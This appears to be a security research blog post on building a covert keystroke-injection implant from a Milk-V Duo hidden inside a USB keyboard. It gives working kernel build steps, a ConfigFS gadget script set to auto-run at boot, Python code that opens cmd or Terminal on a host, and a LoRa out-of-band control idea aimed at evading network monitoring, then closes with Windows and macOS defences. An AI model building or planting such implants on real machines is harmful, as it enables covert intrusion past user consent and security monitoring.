
A decade ago, I published a tutorial on backdooring a Razer BlackWidow mechanical keyboard using a Teensy microcontroller running Arduino code. Inspired by the groundbreaking work presented at Black Hat on BadUSB by researchers like Karsten Nohl, Jakob Lell, and popularized across the industry by security pioneers like Dave Kennedy and Kevin Mitnick, the concept was deceptively simple: convert a programmable microcontroller, like the Teensy, into an active USB Human Interface Device (HID) capable of injecting arbitrary keystrokes directly into a target endpoint.
Back then, squeezing custom logic into a tiny microcontroller required tight memory management, careful microsecond timing, and direct hardware modification inside the keyboard’s chassis. The board would sit passively on the internal USB serial bus, wait for system inactivity to ensure the target user had stepped away from their workstation, and then launch a high-speed string of keystrokes before the system’s screen saver or lock timer could trigger.
Fast forward to today. While Teensy boards remain staple tools for custom keyboard builders, hardware evolution has fundamentally reshaped the economics and mechanics of hardware implantation. Modern single-board computers (SBCs) and microcontrollers deliver unprecedented compute density at a fraction of historic costs, fundamentally changing the threat landscape for physical hardware security.
The Evolution of Hardware Backdoors: Teensy vs. Milk-V Duo
To understand how drastically hardware capabilities have shifted, consider a side-by-side technical comparison between a classic microcontroller used for hardware modification, such as the Teensy 4.0, and a modern ultra-low-cost Linux SBC like the Milk-V Duo.
| Metric / Specification | PJRC Teensy 4.0 | Milk-V Duo |
|---|---|---|
| Processor Architecture | 32-bit ARM Cortex-M7 | 64-bit RISC-V Dual Core |
| Clock Speed | 600 MHz | 1.0 GHz + 700 MHz |
| System Memory (RAM) | 1 MB SRAM | 64 MB / 256 MB SIP DRAM |
| Storage Capacity | 2 MB Flash | MicroSD Card / onboard SPI Flash |
| Operating System | Bare-metal C/C++ / Arduino RTOS | Full Linux OS (Kernel 5.x / 6.x) |
| Specialized Hardware | Standard Timer/PWM/GPIO peripherals | 0.5 TOPS TPU (Neural Processing Engine) |
| Approximate Unit Cost | ~$23.00 – $30.00 USD | ~$5.00 – $9.00 USD |
Ten years ago, an offensive researcher paid around $30 for a single-purpose 600 MHz microcontroller capable only of running compiled C code in a single loop. Today, for roughly $5
, a device like the Milk-V Duo provides a dual-core 64-bit RISC-V architecture running a complete Linux operating system, featuring full TCP/IP network stacks, file systems, and even onboard AI acceleration hardware (TPU).
When embedded into an existing USB peripheral, this transition elevates the hardware backdoor from a passive, pre-scripted keystroke injection tool into an autonomous edge-computing node. Rather than relying on simple sleep delays, an embedded Linux system can host out-of-band communication stacks such as radio & sensor modules, process host behavioral data on-device, or run local AI inference to dynamically polymorph timed keyboard payloads without touching host networking.
Hardware Integration and Signal Flow
A modern hardware injection attack relies on hiding the malicious board inside a standard peripheral, such as an external keyboard, while making use of the host peripheral’s existing USB controller infrastructure. By tapping into an internal USB hub inside the target keyboard, the host machine sees two distinct USB devices on a single physical cable port: the legitimate keyboard controller and the embedded Milk-V Duo acting as a secondary composite USB HID device.
+-----------------------------------------------------------------------+
| Target Host Workstation |
+-----------------------------------------------------------------------+
|
[Physical USB Cable]
|
+----------------------------------v------------------------------------+
| Physical Keyboard Enclosure |
| |
| +---------------------------------------------------------------+ |
| | Internal 2-Port USB Hub Module | |
| +-------------------------------+-------------------------------+ |
| | | |
| +------------v------------+ +------------v------------+ |
| | Standard Mechanical | | Rogue Milk-V Duo | |
| | Keyboard Controller | | (Linux ConfigFS) | |
| +-------------------------+ +-------------------------+ |
| | | |
| [Legitimate Keypresses] [Emulated HID Payloads] |
+-----------------------------------------------------------------------+
When plugged into a host system, the host enumerates the internal USB hub and initializes both devices simultaneously. The legitimate keyboard functions without disruption, preserving full usability for the targeted user, while the Milk-V Duo secretly establishes its own HID channel via standard Linux subsystem interfaces.
Enabling USB HID Gadget Support on the Milk-V Duo
Before the Duo can pretend to be a keyboard, its kernel needs the USB HID gadget function driver. This is the single most important practical detail that isn’t well documented: the stock Milk-V Duo image does not ship with HID gadget support enabled.
The default buildroot kernel enables the ConfigFS composite framework and the serial, ACM, RNDIS, NCM, and mass-storage functions, but it omits CONFIG_USB_CONFIGFS_F_HID. There is also no /lib/modules directory on the stock image (the kernel is monolithic and the vendor’s USB function drivers are pre-built objects loaded from /mnt/system/ko, which does not include a HID module). The practical result is that any attempt to create the HID function on a stock board simply fails:
# On a stock Duo, this fails - the function driver isn't present:
mkdir /sys/kernel/config/usb_gadget/g1/functions/hid.usb0
# mkdir: can't create directory 'functions/hid.usb0': No such file or directory
Because there is no module to load, the fix is a one-line kernel configuration change followed by a recompile. The Milk-V buildroot SDK builds cleanly inside the vendor’s official Docker image, so no local toolchain setup is required:
# 1. Clone the official SDK
git clone https://github.com/milkv-duo/duo-buildroot-sdk-v2.git --depth=1
cd duo-buildroot-sdk-v2
# 2. Enable the HID gadget function - the ONLY change from a stock build
echo 'CONFIG_USB_CONFIGFS_F_HID=y' >> \
build/boards/cv180x/cv1800b_milkv_duo_musl_riscv64_sd/linux/cvitek_cv1800b_milkv_duo_musl_riscv64_sd_defconfig
# 3. Build the SD-card image with the official Docker toolchain
docker run --privileged -itd --name duodocker \
-v "$(pwd)":/home/work milkvtech/milkv-duo:latest /bin/bash
docker exec -it duodocker /bin/bash -c \
"cd /home/work && export FORCE_UNSAFE_CONFIGURE=1 && ./build.sh milkv-duo-musl-riscv64-sd"
The finished image lands at out/milkv-duo-musl-riscv64-sd_<date>.img; flash it to the microSD with any standard imaging tool. Once booted, mkdir functions/hid.usb0 succeeds and the /dev/hidg0 character device becomes available.
Note: Setting
CONFIG_USB_CONFIGFS_F_HID=yas a shell environment variable beforebuild.shdoes not work – the kernel is configured from its defconfig file, not the environment. The one-line append above is the minimal, reproducible change. The path shown is for the original CV1800B Duo; the Duo256M and DuoS use a different board directory and build target. A more robust build-and-verify script (with dependency caching and a post-build config check) is linked in the resources section.
Transforming the Milk-V Duo into a Composite USB HID Device
By default, the Milk-V Duo uses its USB Type-C port to expose a USB networking/serial gadget (for SSH access and firmware development), configured automatically at boot by scripts under /mnt/system. To repurpose the device as a generic hardware controller, researchers can use the Linux ConfigFS framework to define a USB Human Interface Device (HID) gadget instead.
Note: Once you change the main USB Type-C port over to a HID Device you will want to have UART and/or the optional Dev IO board setup so you can maintain access the Milk-V Duo board to make changes. Else you will be forced to do a lot manual SD edits or rewrites.
First, stop the stock gadget so it does not hold the USB controller. On this buildroot image init is BusyBox, not systemd, so the correct approach is to disable the vendor startup scripts:
# SSH in over the default USB network gadget, or use the UART console
ssh root@192.168.42.1
# Disable the stock USB gadget startup scripts
chmod -x /etc/run_usb.sh /etc/uhubon.sh
Next, create a deployment script /root/configure_hid.sh that builds a standard USB keyboard descriptor with ConfigFS:
#!/bin/sh
# Present the Milk-V Duo as a standard USB HID keyboard.
# 1. Put the USB-C controller into peripheral (device) role.
# The OTG controller otherwise comes up in host mode and no keyboard
# is ever seen by the target. (The stock /etc/uhubon.sh did this step.)
echo device > /proc/cviusb/otg_role
# 2. Mount configfs (built into the recompiled kernel) and enter the tree.
mount -t configfs none /sys/kernel/config 2>/dev/null
cd /sys/kernel/config/usb_gadget/
mkdir -p g1 && cd g1
# 3. Standard USB device identifiers.
echo 0x1d6b > idVendor # Linux Foundation
echo 0x0104 > idProduct # Composite Gadget
echo 0x0100 > bcdDevice
echo 0x0200 > bcdUSB
mkdir -p strings/0x409
echo "Generic Security" > strings/0x409/manufacturer
echo "Standard Input Device" > strings/0x409/product
# 4. A single HID keyboard function using 8-byte boot-protocol reports.
mkdir -p functions/hid.usb0
echo 1 > functions/hid.usb0/protocol # keyboard
echo 1 > functions/hid.usb0/subclass # boot interface
echo 8 > functions/hid.usb0/report_length
# Standard boot-keyboard HID report descriptor.
printf '\x05\x01\x09\x06\xa1\x01\x05\x07\x19\xe0\x29\xe7\x15\x00\x25\x01\x75\x01\x95\x08\x81\x02\x95\x01\x75\x08\x81\x03\x95\x05\x75\x01\x05\x08\x19\x01\x29\x05\x91\x02\x95\x01\x75\x03\x91\x03\x95\x06\x75\x08\x15\x00\x25\x65\x05\x07\x19\x00\x29\x65\x81\x00\xc0' \
> functions/hid.usb0/report_desc
# 5. Bind the function into a configuration and enable the controller.
mkdir -p configs/c1.1/strings/0x409
echo "HID Configuration" > configs/c1.1/strings/0x409/configuration
echo 0x80 > configs/c1.1/bmAttributes # bus powered
echo 100 > configs/c1.1/MaxPower # 100 * 2mA = 200mA
ln -s functions/hid.usb0 configs/c1.1/
ls /sys/class/udc > UDC # bind to the USB device controller
A few details are easy to get wrong and are worth calling out, because each one produces a silent failure:
Field notes:
- Mount configfs first. The framework must be mounted at
/sys/kernel/configbefore the gadget tree exists. Note the stock image mounts its own copy at/tmp/usb; that does not create the tree at the canonical path.- Use
printf, notecho -ne, for the report descriptor.printfis portable across shells; some BusyBox builds mishandle escaped hex inecho.bmAttributesshould be0x80for a bus-powered device. A value like250sets self-powered and remote-wakeup bits that you do not want.- Free the controller first. If the stock gadget is still bound you will see
udc-core: couldn't find an available UDC or it's busy. Rebooting into the disabled-gadget state (above) gives you a clean controller.- Set the peripheral role. Without
echo device > /proc/cviusb/otg_role, the CV1800B’s OTG controller can come up in host mode and the target never sees a keyboard.
Once executed, the Linux kernel exposes a character device file at /dev/hidg0. Writing raw 8-byte USB HID report packets directly to /dev/hidg0 generates hardware key events on whichever computer the peripheral is connected to.
Running as a HID keyboard at boot
Running the script by hand is fine for testing, but the point of an implant is that it comes up ready on its own. The Milk-V firmware executes /mnt/system/auto.sh once at the end of boot – the vendor’s documented hook for launching a program automatically after startup. Pointing that hook at the setup script makes the board enumerate as a keyboard instead of its default USB networking/hub gadget:
# /mnt/system/auto.sh - the vendor's documented "run after boot" hook
sh /root/configure_hid.sh
Proof-of-Concept Keystroke Injection
A standard USB keyboard report consists of an 8-byte payload array:
- Byte 0: Modifier keys bitmap (GUI key, Control, Shift, Alt)
- Byte 1: Reserved padding byte
- Bytes 2 to 7: Array of up to 6 simultaneous USB HID key scancodes
The helper below writes a single report and then a release to /dev/hidg0:
HID_NODE = "/dev/hidg0"
def send_report(modifier=0x00, key=0x00):
# Construct and send an 8-byte USB HID report, then release.
report = bytearray([modifier, 0x00, key, 0x00, 0x00, 0x00, 0x00, 0x00])
with open(HID_NODE, "rb+", buffering=0) as f:
f.write(report)
f.write(bytearray(8)) # key release
On Windows, a classic sequence opens the Run dialog with GUI + r, types a short command, and presses Enter:
import time
def trigger_windows_run():
send_report(modifier=0x08, key=0x15) # GUI (Windows) + r
time.sleep(0.5)
# scancodes for "cmd" followed by Enter
for code in [0x06, 0x10, 0x07, 0x28]:
send_report(key=code)
time.sleep(0.05)
macOS is often assumed to be immune, but it accepts standard HID keyboards too. The equivalent opens Spotlight with GUI (Command) + Space, types an app name, and presses Enter:
def trigger_macos_spotlight():
send_report(modifier=0x08, key=0x2C) # GUI (Command) + Space
time.sleep(0.6)
# scancodes for "terminal" followed by Enter
for code in [0x17, 0x08, 0x15, 0x10, 0x0C, 0x11, 0x04, 0x0F, 0x28]:
send_report(key=code)
time.sleep(0.05)
Timing and reliability notes:
- The write to
/dev/hidg0only succeeds while the host is actively polling the device – that is, the gadget is enumerated and the controller is in peripheral role. If the host has not fully accepted the device, the write blocks or returns an error rather than typing.- Real injections depend on focus and timing: the keystrokes land in whatever window currently has focus, which is why classic BadUSB payloads wait for user inactivity before firing.
A Note on macOS
A common claim is that HID attacks target Windows only. In testing, macOS accepted a standard USB HID keyboard and the injection succeeded
. The one hardware caveat is that the Duo’s USB-C OTG controller must be brought up in peripheral (device) role at boot, as covered in the setup section; if it comes up in host role, the Mac never sees a keyboard at all.
What macOS does differently is the way it greets a new keyboard. On a fresh attachment, modern macOS (especially Apple Silicon) shows an “Allow accessory to connect?” prompt, and this is the meaningful control: the device is granted no data access until the user approves it. Separately, an unrecognized keyboard triggers the Keyboard Setup Assistant – the “press the key next to the Shift key” wizard.
It is worth being clear about what that wizard is and is not. It is a layout/accessibility identification feature, not a security boundary. A device that presents the identifiers of a keyboard macOS already recognizes skips the assistant entirely, and even when the assistant does appear it does not block input.
Out-of-Band Channel Integration
What makes embedded Linux boards like the Milk-V Duo particularly capable compared to historical microcontrollers is their ability to run modular software alongside hardware drivers.
By pairing the Milk-V Duo with a sub-GHz LoRa module (such as the RYLR998 operating on 915 MHz), an operator can conceptually issue execution commands out-of-band, without routing any traffic through the target machine’s corporate Wi-Fi or Ethernet adapter. The Duo receives the wireless message via its onboard serial UART and translates it into USB HID input.

This class of out-of-band control bypasses network-based Intrusion Detection Systems (IDS), egress filtering, and corporate firewalls – which is precisely why physical-layer and endpoint controls, rather than network monitoring alone, are the effective defenses.
Defending Against USB HID Hardware Attack Vectors
Securing enterprise environments against unauthorized physical input hardware requires combining administrative controls, endpoint monitoring, and device validation across both Windows and macOS.
Windows Endpoint Controls
- GPO Hardware Restrictions: Enforce Device Installation Restrictions in Windows Group Policy (
Computer Configuration > Administrative Templates > System > Device Installation > Device Installation Restrictions). Limit installation to explicitly allowlisted USB Vendor IDs (VID) and Product IDs (PID), preventing unauthorized composite devices from initializing. - Endpoint Detection and Response (EDR) Behavior Rules: Modern EDR solutions monitor process creation chains. Configure alert rules to flag immediate command processor launches (
cmd.exe,powershell.exe) spawned without parent user-interface interactions, or commands occurring immediately following new USB device registration events. - USB Port Disabling: In high-security environments, physically disable unused internal motherboard headers and enforce strict physical port locks.
macOS Security Controls
- Rely on the accessory-allow prompt, not the setup wizard: Modern macOS asks before granting data access to a new USB accessory – declining this denies the device entirely, which makes it the one dependable user-facing control. The Keyboard Setup Assistant, by contrast, is a layout-identification convenience: it only appears for keyboards macOS does not already recognize, can be absent for a device presenting a familiar keyboard identity, and does not stop input even when it does appear. Train users to treat an unexpected “Allow accessory” prompt as a red flag and decline it for any hardware they did not personally attach – and do not treat the presence or absence of the setup wizard as a security signal.
- MDM Peripheral Policies: Use Mobile Device Management (MDM) configuration profiles via systems like Jamf or Apple Business Manager to block non-approved USB classes or enforce strict USB Restricted Mode controls across enterprise Mac hardware.
- System Extension Monitoring: Deploy endpoint detection agents capable of auditing EndpointSecurity framework events to catch rapid keystroke velocity anomalies that exceed human typing capacities.
Learn More and Official Documentation
To explore the open-source projects, hardware specs, and Linux subsystems referenced in this technical breakdown, consult the following resources:
- Milk-V Official Project Site: Review the official specs and architectural setup guides for the Milk-V Duo.
- Milk-V Buildroot SDK (Docker build): The official documentation for compiling a custom Duo image – the basis for the one-line HID kernel change above.
- Reproducible HID build script: A hardened version of the recompile steps (dependency caching, post-build config verification, and flashing instructions) is published as a gist.
- Linux USB HID Subsystem Documentation: Official kernel documentation on the Linux ConfigFS Composite Gadget Framework and the HID gadget function.
- Hackers Vanguard Blog Archive: Browse previous research on physical attack vector researching putting hardware backdoors in keyboards.
- PJRC Teensy 4.0: Examine the original microcontroller capabilities at the PJRC Teensy Official Site.